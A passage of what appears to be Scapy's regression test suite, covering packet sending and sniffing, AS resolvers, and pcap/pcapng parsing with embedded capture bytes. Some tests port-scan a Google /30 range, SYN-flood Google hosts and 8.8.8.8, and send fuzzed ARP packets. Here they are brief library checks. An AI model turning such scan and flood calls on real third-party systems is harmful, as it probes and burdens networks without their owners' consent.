parsed properly. from io import BytesIO pcapfile = BytesIO(b'\n\r\r\n\x80\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x03\x00\x10\x00Linux 6.1.21-v8+\x04\x00E\x00Dumpcap (Wireshark) 3.4.10 (Git v3.4.10 packaged as 3.4.10-0+deb11u1)\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x7f\x00\x00\x00\x00\x04\x00\x00\x02\x00\x05\x00wifi2\x00\x00\x00\t\x00\x01\x00\t\x00\x00\x00\x0c\x00\x10\x00Linux 6.1.21-v8+\x00\x00\x00\x00@\x00\x00\x00\x06\x00\x00\x00\xb0\x01\x00\x00\x00\x00\x00\x00c\xd3\x87\x17\xe3c5\x82\x90\x01\x00\x00\x90\x01\x00\x00\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x0cd\x14@\x01\xa9\x00\x0c\x00\x00\x00\xa6\x00\xa8\x01\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x02\xbf\xaf\x9f\xf8\x07\x02\xbf\xaf\x9f\xf8\x070\x96[p\xdcM\x06\x00\x00\x00d\x00\x11\x00\x00\x00\x01\x08\x8c\x12\x98$\xb0H`l\x03\x01,\x05\x04\x00\x01\x00\x00\x07QUS \x01\r\x80$\x01\x80(\x01\x80,\x01\x800\x01\x804\x01\x808\x01\x80<\x01\x80@\x01\x80d\x01\x80h\x01\x80l\x01\x80p\x01\x80t\x01\x80x\x01\x80|\x01\x80\x80\x01\x80\x84\x01\x80\x88\x01\x80\x8c\x01\x80\x90\x01\x80\x95\x01\x80\x99\x01\x80\x9d\x01\x80\xa1\x01\x80\xa5\x01\x800\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x0c\x00;\x02s\x00-\x1a,\t\x13\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00,\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x18\x00P\xf2\x02\x01\x01\x81\x00\x03\xa4\x00\x00\'\xa4\x00\x00BC]\x00a\x11.\x00\xdd;\x00P\xf2\x04\x10J\x00\x01\x10\x10D\x00\x01\x02\x10I\x00\x06\x007*\x00\x01 \x10\x11\x00\x1358" Hisense Roku TV\x10T\x00\x08\x00\x07\x00P\xf2\x04\x00\x01\xdd\x16\xc8:k\x01\x01\x1048<@dhlptx|\x80\x84\x88\x8c\x90\xdd\x12Po\x9a\t\x02\x02\x00!\x0b\x03\x06\x00\x02\xbf\xaf\x9f\xf8\x07\xdd\rPo\x9a\n\x00\x00\x06\x01\x11\x1cD\x002\xf5N\xfbh\xb0\x01\x00\x00') pktpcap = rdpcap(pcapfile) frame = pktpcap[0] beacon = frame.getlayer(4) stats = beacon.network_stats() ssid = stats['ssid'] assert ssid == "" country = stats['country'] assert country == 'US' ############ ############ + Network tests * Those tests need network access = Sending and receiving an ICMP ~ netaccess needs_root IP ICMP icmp_firewall def _test(): with no_debug_dissector(): x = sr1(IP(dst="www.google.com")/ICMP(),timeout=3) assert x is not None x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 assert ICMP in x and x[ICMP].type == 0 retry_test(_test) = Sending a TCP syn message at layer 2 and layer 3 ~ netaccess needs_root IP def _test(): tmp = send(IP(dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="S"), return_packets=True, realtime=True) assert len(tmp) == 1 tmp = sendp(Ether()/IP(dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="S"), return_packets=True, realtime=True) assert len(tmp) == 1 p = Ether()/IP(dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="S") from decimal import Decimal p.time = Decimal(p.time) tmp = sendp(p, return_packets=True, realtime=True) assert len(tmp) == 1 retry_test(_test) = Latency check: localhost ICMP ~ netaccess needs_root linux latency # Note: still needs to enforce L3RawSocket as this won't work otherwise with libpcap sock = conf.L3socket conf.L3socket = L3RawSocket def _test(): req = IP(dst="127.0.0.1")/ICMP() ans = sr1(req, timeout=3) assert (ans.time - req.sent_time) >= 0 assert (ans.time - req.sent_time) <= 1e-3 try: retry_test(_test) finally: conf.L3socket = sock = Test sniffing on multiple sockets ~ netaccess needs_root sniff # This test sniffs on the same interface twice at the same time, to # simulate sniffing on multiple interfaces. def _test(): iface = conf.route.route(str(Net("www.google.com")))[0] port = int(RandShort()) pkt = IP(dst="www.google.com")/TCP(sport=port, dport=80, flags="S") def cb(): sr1(pkt, timeout=3) sniffer = AsyncSniffer(started_callback=cb, iface=[iface, iface], lfilter=lambda x: TCP in x and x[TCP].dport == port, prn=lambda x: x.summary(), count=2) sniffer.start() sniffer.join(timeout=3) assert len(sniffer.results) == 2 for pkt in sniffer.results: assert pkt.sniffed_on == iface retry_test(_test) = Test sniffing with AsyncSniffer on failed try: sniffer = AsyncSniffer(iface="this_interface_does_not_exists") sniffer.start() sniffer.join() assert False, "Should have errored by now" except ValueError: assert True try: sniffer = AsyncSniffer(iface="this_interface_does_not_exists") sniffer.start() sniffer.thread.join() sniffer.stop() assert False, "Should have errored by now" except ValueError: assert True = Sending a TCP syn 'forever' at layer 2 and layer 3 ~ netaccess needs_root IP def _test(): tmp = srloop(IP(dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="S"), count=1, timeout=3) assert type(tmp) == tuple and len(tmp[0]) == 1 tmp = srploop(Ether()/IP(dst="8.8.8.8")/TCP(sport=RandShort(), dport=53, flags="S"), count=1, timeout=3) assert type(tmp) == tuple and len(tmp[0]) == 1 retry_test(_test) = Sending and receiving an TCP syn with flooding methods ~ netaccess needs_root IP flood from functools import partial # flooding methods do not support timeout. Packing the test for security def _test_flood(ip, flood_function, add_ether=False): with no_debug_dissector(): p = IP(dst=ip)/TCP(sport=RandShort(), dport=80, flags="S") if add_ether: p = Ether()/p p.show2() x = flood_function(p, timeout=0.5, maxretries=10) if type(x) == tuple: x = x[0][0][1] x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 _test_srflood = partial(_test_flood, "www.google.com", srflood) retry_test(_test_srflood) _test_sr1flood = partial(_test_flood, "www.google.fr", sr1flood) retry_test(_test_sr1flood) _test_srpflood = partial(_test_flood, "www.google.net", srpflood, True) retry_test(_test_srpflood) _test_srp1flood = partial(_test_flood, "www.google.co.uk", srp1flood, True) retry_test(_test_srp1flood) = test chainEX ~ netaccess import socket sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssck = StreamSocket(sck) try: r = ssck.sr1(ICMP(type='echo-request'), timeout=0.1, chainEX=True, threaded=False) assert False except Exception: assert True finally: sck.close() = Sending and receiving an ICMPv6EchoRequest ~ netaccess ipv6 needs_root def _test(): with no_debug_dissector(): x = sr1(IPv6(dst="www.google.com")/ICMPv6EchoRequest(),timeout=3) x assert x[IPv6].ottl() in [32, 64, 128, 255] assert 0 <= x[IPv6].hops() <= 126 x is not None and ICMPv6EchoReply in x and x[ICMPv6EchoReply].type == 129 retry_test(_test) = Whois request ~ netaccess IP as_resolvers * This test retries on failure because it often fails def _test(): IP(src="8.8.8.8").whois() retry_test(_test) = AS resolvers ~ netaccess IP as_resolvers * This test retries on failure because it often fails def _test(): ret = conf.AS_resolver.resolve("8.8.8.8", "8.8.4.4") assert (len(ret) == 2) assert any(x[1] == "AS15169" for x in ret) retry_test(_test) riswhois_data = b"route: 8.8.8.0/24\ndescr: Google\norigin: AS15169\nnotify: radb-contact@google.com\nmnt-by: MAINT-AS15169\nchanged: radb-contact@google.com 20150728\nsource: RADB\n\nroute: 8.0.0.0/9\ndescr: Proxy-registered route object\norigin: AS3356\nremarks: auto-generated route object\nremarks: this next line gives the robot something to recognize\nremarks: L'enfer, c'est les autres\nremarks: \nremarks: This route object is for a Level 3 customer route\nremarks: which is being exported under this origin AS.\nremarks: \nremarks: This route object was created because no existing\nremarks: route object with the same origin was found, and\nremarks: since some Level 3 peers filter based on these objects\nremarks: this route may be rejected if this object is not created.\nremarks: \nremarks: Please contact routing@Level3.net if you have any\nremarks: questions regarding this object.\nmnt-by: LEVEL3-MNT\nchanged: roy@Level3.net 20060203\nsource: LEVEL3\n\n\n" ret = AS_resolver_riswhois()._parse_whois(riswhois_data) assert ret == ('AS15169', 'Google') retry_test(_test) # This test is too buggy, and is simulated below #def _test(): # ret = AS_resolver_cymru().resolve("8.8.8.8") # assert (len(ret) == 1) # all(x[1] == "AS15169" for x in ret) # #retry_test(_test) cymru_bulk_data = """ Bulk mode; whois.cymru.com [2017-10-03 08:38:08 +0000] 24776 | 217.25.178.5 | INFOCLIP-AS, FR 36459 | 192.30.253.112 | GITHUB - GitHub, Inc., US 26496 | 68.178.213.61 | AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US """ tmp = AS_resolver_cymru().parse(cymru_bulk_data) assert len(tmp) == 3 assert [l[1] for l in tmp] == ['AS24776', 'AS36459', 'AS26496'] = AS resolver - IPv6 ~ netaccess IP as_resolvers * This test retries on failure because it often fails def _test(): as_resolver6 = AS_resolver6() ret = as_resolver6.resolve("2001:4860:4860::8888", "2001:4860:4860::4444") assert (len(ret) == 2) assert any(x[1] == 15169 for x in ret) retry_test(_test) = AS resolver - socket error ~ IP * This test checks that a failing resolver will not crash a script class MockAS_resolver(object): def resolve(self, *ips): raise socket.error asrm = AS_resolver_multi(MockAS_resolver()) assert len(asrm.resolve(["8.8.8.8", "8.8.4.4"])) == 0 = sendpfast ~ tcpreplay old_interactive = conf.interactive conf.interactive = False try: sendpfast([]) assert False except Exception: assert True conf.interactive = old_interactive assert True ############ ############ + Generator tests = Implicit logic 1 ~ IP TCP a = Ether() / IP(ttl=(5, 10)) / TCP(dport=[80, 443]) ls(a) ls(a, verbose=True) l = [p for p in a] len(l) == 12 = Implicit logic 2 ~ IP a = IP(ttl=[1,2,(5,9)]) ls(a) ls(a, verbose=True) l = [p for p in a] len(l) == 7 = Implicit logic 3 # In case there's a single option: __iter__ should not return self a = Ether()/IP(src="127.0.0.1", dst="127.0.0.1")/ICMP() for i in a: i.sent_time = 1 assert a.sent_time is None # In case they are several, self should never be returned a = Ether()/IP(src="127.0.0.1", dst="127.0.0.1")/ICMP(seq=(0, 5)) for i in a: i.sent_time = 1 assert a.sent_time is None ############ ############ + Real usages = Port scan ~ netaccess needs_root IP TCP def _test(): with no_debug_dissector(): ans,unans=sr(IP(dst="www.google.com/30")/TCP(dport=[80,443]), timeout=2) # New format: all Python versions ans.make_table(lambda s, r: (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}"))) retry_test(_test) = Send & receive with debug_match ~ netaccess needs_root IP ICMP def _test(): old_debug_match = conf.debug_match conf.debug_match = True with no_debug_dissector(): ans, unans = sr(IP(dst="www.google.fr") / TCP(sport=RandShort(), dport=80, flags="S"), timeout=2) assert ans[0].query == ans[0][0] assert ans[0].answer == ans[0][1] conf.debug_match = old_debug_match assert ans and not unans retry_test(_test) = Send & receive with retry ~ netaccess needs_root IP ICMP def _test(): with no_debug_dissector(): ans, unans = sr(IP(dst=["8.8.8.8", "1.2.3.4"]) / TCP(sport=RandShort(), dport=53, flags="S"), timeout=2, retry=1) assert len(ans) == 1 and len(unans) == 1 retry_test(_test) = Send & receive with multi ~ netaccess needs_root IP ICMP def _test(): with no_debug_dissector(): ans, unans = sr(IP(dst=["8.8.8.8", "1.2.3.4"]) / TCP(sport=RandShort(), dport=53, flags="S"), timeout=2, multi=1) assert len(ans) >= 1 and len(unans) == 1 retry_test(_test) = Traceroute function ~ netaccess needs_root tcpdump * Let's test traceroute def _test(): with no_debug_dissector(): ans, unans = traceroute("www.slashdot.org") ans.nsummary() s,r=ans[0] s.show() s.show(2) retry_test(_test) = send() and sniff() ~ netaccess needs_root def _test(): sendp(Ether()/IP(src="9.0.0.0")/UDP(), count=3, iface=conf.iface) r = sniff(timeout=3, count=1, lfilter=lambda x: IP in x and x[IP].src == "9.0.0.0", iface=conf.iface, started_callback=_test) assert r = sniff() with socket failure * GH issue 3631 REFPACKET = Ether()/IP()/UDP() # A socket that fails after 10 packets class OOPipe(ObjectPipe): def recv(self, x=MTU): self.i = getattr(self, "i", 0) + 1 if self.i == 11: self.close() raise OSError("Giant failure") pkt = super(OOPipe, self).recv(x) self.send(REFPACKET) return pkt o = OOPipe() o.send(REFPACKET) pkts = sniff(opened_socket=[o], timeout=3) assert len(pkts) == 10 = GH issue 3306 ~ netaccess needs_root send(fuzz(ARP())) = Test SuperSocket.select ~ select from unittest import mock @mock.patch("scapy.supersocket.select") def _test_select(select): def f(a, b, c, d): raise IOError(0) select.side_effect = f try: SuperSocket.select([]) return False except: return True assert _test_select() = Test L2ListenTcpdump socket ~ netaccess # Needs to be fixed. Fails randomly #import time #for i in range(10): # read_s = L2ListenTcpdump(iface=conf.iface) # out_s = conf.L2socket(iface=conf.iface) # time.sleep(5) # wait for read_s to be ready # icmp_r = Ether()/IP(dst="secdev.org")/ICMP() # res = sndrcv(out_s, icmp_r, timeout=5, rcv_pks=read_s)[0] # read_s.close() # out_s.close() # time.sleep(5) # if res: # break # #response = res[0][1] #assert response[ICMP].type == 0 True = Test set of sent_time by sr ~ netaccess needs_root IP ICMP def _test(): packet = IP(dst="8.8.8.8")/ICMP() r = sr(packet, timeout=2) assert packet.sent_time is not None retry_test(_test) = Test set of sent_time by sr (multiple packets) ~ netaccess needs_root IP ICMP def _test(): packet1 = IP(dst="8.8.8.8")/ICMP() packet2 = IP(dst="8.8.4.4")/ICMP() r = sr([packet1, packet2], timeout=2) assert packet1.sent_time is not None assert packet2.sent_time is not None retry_test(_test) = Test set of sent_time by srflood ~ netaccess needs_root IP ICMP def _test(): packet = IP(dst="8.8.8.8")/ICMP() r = srflood(packet, timeout=0.5) assert packet.sent_time is not None retry_test(_test) = Test set of sent_time by srflood (multiple packets) ~ netaccess needs_root IP ICMP def _test(): packet1 = IP(dst="8.8.8.8")/ICMP() packet2 = IP(dst="8.8.4.4")/ICMP() r = srflood([packet1, packet2], timeout=0.5) assert packet1.sent_time is not None assert packet2.sent_time is not None retry_test(_test) ############ ############ + ManuFDB tests = __repr__ if conf.manufdb: len(conf.manufdb) else: True = check _resolve_MAC if conf.manufdb: assert conf.manufdb._resolve_MAC("00:00:17") == "Oracle" else: True ############ ############ + Ether tests with IPv6 = Ether IPv6 checking for dst ~ netaccess ipv6 p = Ether()/IPv6(dst="www.google.com")/TCP() assert p.dst != p[IPv6].dst p.show() ############ ############ + pcap / pcapng format support ~ pcap = Variable creations from io import BytesIO import base64 pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') pcapngfile = BytesIO(b'\n\r\r\n\\\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x01\x00,\x00File created by merging: \nFile1: test.pcap \n\x04\x00\x08\x00mergecap\x00\x00\x00\x00\\\x00\x00\x00\x01\x00\x00\x00\\\x00\x00\x00e\x00\x00\x00\xff\xff\x00\x00\x02\x006\x00Unknown/not available in original file format(libpcap)\x00\x00\t\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\\\x00\x00\x00\x06\x00\x00\x00H\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00/\xfc[\xcd(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00H\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\x1f\xff[\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r<\x00\x00\x00\x06\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x8d*\x05\x00\xb9\x02\\\xcd\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00<\x00\x00\x00') pcapnanofile = BytesIO(b"M<\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacV\xc9\xc1\xb5'(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV-;\xc1'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\x9aL\xcf'\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00") pcapwirelenfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00}\x87pZ.\xa2\x08\x00\x0f\x00\x00\x00\x10\x00\x00\x00\xff\xff\xff\xff\xff\xff GG\xee\xdd\xa8\x90\x00a') pcapngdefaults = BytesIO(base64.b64decode(b'Cg0NChwAAABNPCsaAQAAAP//////////HAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACUeZiQAAAAAgAAAAAQAAACAAAAASAQAA//8AAAkAAQAJAAAAAAAAACAAAAABAAAAIAAAABIBAAD//wAACQABAAkAAAAAAAAAIAAAAAEAAAAgAAAAEgEAAP//AAAJAAEACQAAAAAAAAAgAAAABgAAAIQBAAADAAAApO/bFdgJaeBiAQAAYgEAAFVVVVVVVVXV////////IMbr4D7PCABFAAFIlQkAAEAR5JwAAAAA/////wBEAEMBNJDsAQEGAFSpVwIACoAAAAAAAAAAAAAAAAAAAAAAACDG6+A+zwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEB/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsOs+bAAAhAEAAAYAAACAAQAAAwAAAKTv2xXIDYznYAEAAGABAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABRgGPAAAEEal3qf5wqO////rhbgdsATJi0U5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRg0KDQpcQcvWgAEAAAYAAAC4AQAAAwAAAKTv2xV4Ao3nlQEAAJUBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABewGQAAAEEalBqf5wqO////rhbgdsAWfu+k5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOmRldmljZTpwMDBSZW1vdGVDb250cm9sbGVyOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46cGFuYXNvbmljLWNvbTpkZXZpY2U6cDAwUmVtb3RlQ29udHJvbGxlcjoxDQoNCrLVKmoAAAC4AQAABgAAAHgBAAADAAAApO/bFVjbjedXAQAAVwEAAFVVVVVVVVXVAQBef//6IMbr4D7PCABFAAE9AZEAAAQRqX6p/nCo7///+uFuB2wBKaZATk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTE4MDANCkxPQ0FUSU9OOiBodHRwOi8vMTY5LjI1NC4xMTIuMTY4OjU1MDAwL25yYy9kZGQueG1sDQpOVDogdXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogRnJlZUJTRC84LjAgVVBuUC8xLjAgUGFuYXNvbmljLU1JTC1ETE5BLVNWLzEuMA0KVVNOOiB1dWlkOjRENDU0OTMwLTAyMDAtMTAwMC04MDAxLTIwQzZFQkUwM0VDRjo6dXBucDpyb290ZGV2aWNlDQoNCjagXoUAeAEAAAYAAAC0AQAAAwAAAKTv2xXYw47nkwEAAJMBAABVVVVVVVVV1QEAXn//+iDG6+A+zwgARQABeQGSAAAEEalBqf5wqO////rhbgdsAWWV4E5PVElGWSAqIEhUVFAvMS4xDQpIT1NUOiAyMzkuMjU1LjI1NS4yNTA6MTkwMA0KQ0FDSEUtQ09OVFJPTDogbWF4LWFnZT0xODAwDQpMT0NBVElPTjogaHR0cDovLzE2OS4yNTQuMTEyLjE2ODo1NTAwMC9ucmMvZGRkLnhtbA0KTlQ6IHVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IEZyZWVCU0QvOC4wIFVQblAvMS4wIFBhbmFzb25pYy1NSUwtRExOQS1TVi8xLjANClVTTjogdXVpZDo0RDQ1NDkzMC0wMjAwLTEwMDAtODAwMS0yMEM2RUJFMDNFQ0Y6OnVybjpwYW5hc29uaWMtY29tOnNlcnZpY2U6cDAwTmV0d29ya0NvbnRyb2w6MQ0KDQovXKFrALQBAAAGAAAAqAEAAAMAAACk79sVuJKP54cBAACHAQAAVVVVVVVVVdUBAF5///ogxuvgPs8IAEUAAW0BkwAABBGpTKn+cKjv///64W4HbAFZRNJOT1RJRlkgKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCkNBQ0hFLUNPTlRST0w6IG1heC1hZ2U9MTgwMA0KTE9DQVRJT046IGh0dHA6Ly8xNjkuMjU0LjExMi4xNjg6NTUwMDAvbnJjL2RkZC54bWwNCk5UOiB1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBGcmVlQlNELzguMCBVUG5QLzEuMCBQYW5hc29uaWMtTUlMLURMTkEtU1YvMS4wDQpVU046IHV1aWQ6NEQ0NTQ5MzAtMDIwMC0xMDAwLTgwMDEtMjBDNkVCRTAzRUNGOjp1cm46ZGlhbC1tdWx0aXNjcmVlbi1vcmc6c2VydmljZTpkaWFsOjENCg0KLn5A6QCoAQAA')) = Read a pcap file pktpcap = rdpcap(pcapfile) = Read a pcapng file pktpcapng = rdpcap(pcapngfile) assert pktpcapng[0].time == 1454163407.666223 = Read a pcap file with nanosecond precision pktpcapnano = rdpcap(pcapnanofile) assert pktpcapnano[0].time == 1454163407.666223049 = Read a pcapng file with nanosecond precision and default tsresol pktpcapngdefaults = rdpcap(pcapngdefaults) assert pktpcapngdefaults[0].time == 1575115986.114775512 assert Ether in pktpcapngdefaults[0] = Read a pcapng with little-endian SHB pktcapng = sniff(offline=scapy_path("/test/pcaps/macos.pcapng.gz")) assert len(pktcapng) != 0 = Write a pcapng tmpfile = get_temp_file(autoext=".pcapng") r = RawPcapNgWriter(tmpfile) r._write_block_shb() r._write_block_idb(linktype=DLT_EN10MB) ts = 1632568366.384185 r._write_block_epb(raw(Ether()/"Hello Scapy!!!"), ifid=0, timestamp=ts) r.f.close() assert os.stat(tmpfile).st_size == 108 l = rdpcap(tmpfile) assert b"Scapy" in l[0][Raw].load assert l[0].time == ts = Check wrpcapng() tmpfile = get_temp_file(autoext=".pcapng") p = Ether()/"Hello Scapy!!!" p.time = 1632568366.384185 wrpcapng(tmpfile, p) assert os.stat(tmpfile).st_size == 108 l = rdpcap(tmpfile) assert b"Scapy" in l[0][Raw].load assert l[0].time == ts p = Ether() / IPv6() / TCP() p.comment = b"Hello Scapy!" wrpcapng(tmpfile, p) l = rdpcap(tmpfile) assert l[0].comment == p.comment p = Ether() / IPv6() / TCP() p.comments = [b"Hello!", b"Scapy!", b"Pcapng!"] wrpcapng(tmpfile, p) l = rdpcap(tmpfile) assert l[0].comments == p.comments = rdpcap on fifo ~ linux f = get_temp_file() os.unlink(f) os.mkfifo(f) p = Ether(bytes(Ether(dst="ff:ff:ff:ff:ff:ff")/"Hello Scapy!!!")) s = AsyncSniffer(offline=f) s.start() wrpcap(f, p) s.join(timeout=1) assert s.results[0] == p = Check multiple packets with different combination of linktype,comment,direction,sniffed_on fields. test both wrpcap() and wrpcapng() import random,string random.seed(0x2807) plist = [] ptypes = [] ptypes.append(Ether((Ether() / IPv6() / TCP()).build())) ptypes.append(IP((IP() / IPv6() / TCP()).build())) ifaces=[None,'','i','int0',''.join(random.choices(string.printable,k=20))] comments=[None,'','a','abcd',''.join(random.choices(string.printable,k=20))] directions=[None,0,1,2,3] for iface in ifaces: for comment in comments: if comment is not None: comment=comment.encode('utf-8') for direction in directions: for p in ptypes: if iface is not None and type(ptypes[ifaces.index(iface) % len(ptypes)]) != type(p): continue pnew = p.copy() pnew.time = 1632568366.384185 pnew.sniffed_on = iface pnew.direction = direction pnew.comment = comment plist.append(pnew) random.shuffle(plist) tmpfile = get_temp_file(autoext=".pcapng") wrpcapng(tmpfile, plist) plist_check = rdpcap(tmpfile) assert len(plist_check) == len(plist) for i in range(len(plist)): assert plist_check[i].comment == plist[i].comment assert plist_check[i].direction == plist[i].direction assert plist_check[i].sniffed_on == plist[i].sniffed_on assert plist_check[i].time == plist[i].time #if interface is unknown, verify pkt bytes integrity and that linktype was set to first packet if plist[i].sniffed_on is None: assert bytes(plist_check[i]) == bytes(plist[i]) assert type(plist_check[i]) == type(plist[0]) else: assert plist_check[i] == plist[i] tmpfile = get_temp_file(autoext=".pcap") wrpcap(tmpfile, plist) plist_check = rdpcap(tmpfile) for i in range(len(plist)): assert plist_check[i].time == plist[i].time assert type(plist_check[i]) == type(plist[0]) assert bytes(plist_check[i]) == bytes(plist[i]) = PcapNg - Process Information Block pib_pcapng_file = BytesIO(b'\n\r\r\n\xbc\x00\x00\x00M<+\x1a\x01\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x02\x00\x05\x00arm64\x00\x00\x00\x03\x00f\x00Darwin Kernel Version 23.3.0: Thu Dec 21 02:29:41 PST 2023; root:xnu-10002.81.5~11/RELEASE_ARM64_T8122\x00\x00\x04\x00 \x00tcpdump (libpcap version 1.10.1)\x00\x00\x00\x00\xbc\x00\x00\x00\x01\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x02\x00\x03\x00en0\x00\x00\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x80 \x00\x00\x00$\'\x00\x00\x02\x00\x06\x00trustd\x00\x00\x00\x00\x00\x00 